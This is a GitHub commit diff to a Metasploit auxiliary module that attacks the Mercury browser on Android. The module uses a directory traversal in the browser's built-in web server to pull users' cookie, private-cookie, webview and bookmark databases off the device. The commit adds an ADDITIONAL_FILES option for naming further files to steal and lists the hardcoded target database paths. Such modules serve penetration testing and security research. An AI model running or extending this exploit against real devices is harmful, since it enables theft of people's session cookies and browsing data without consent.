Skip to content

Commit 08b5b8e

Browse files
committed
Add ADDITIONAL_FILES option
1 parent 0d94b8a commit 08b5b8e

File tree

1 file changed

+15
-2
lines changed

1 file changed

+15
-2
lines changed

modules/auxiliary/server/android_mercury_parseuri.rb

Lines changed: 15 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,10 @@ def initialize(info = {})
1919
private wifi manager activity, which starts a web server for Mercury on port 8888.
2020
The webserver also suffers a directory traversal that allows remote access to
2121
sensitive files.
22+
23+
By default, this module will go after webviewCookiesChromium.db, webviewCookiesChromiumPrivate.db,
24+
webview.db, and bookmarks.db. But if this isn't enough, you can also specify the
25+
ADDITIONAL_FILES datastore option to collect more files.
2226
},
2327
'Author' =>
2428
[
@@ -34,7 +38,10 @@ def initialize(info = {})
3438
]
3539
))
3640

37-
41+
register_options(
42+
[
43+
OptString.new('ADDITIONAL_FILES', [false, 'Additional files to steal from the device'])
44+
], self.class)
3845
end
3946

4047
def is_android?(user_agent)
@@ -98,12 +105,18 @@ def uxss
98105
end
99106

100107
def file_urls
101-
[
108+
files = [
102109
'/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromium.db',
103110
'/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromiumPrivate.db',
104111
'/data/data/com.ilegendsoft.mercury/databases/webview.db',
105112
'/data/data/com.ilegendsoft.mercury/databases/bookmarks.db'
106113
]
114+
115+
if datastore['ADDITIONAL_FILES']
116+
files.concat(datastore['ADDITIONAL_FILES'].split)
117+
end
118+
119+
files
107120
end
108121

109122
def on_request_uri(cli, req)

0 commit comments

Comments
 (0)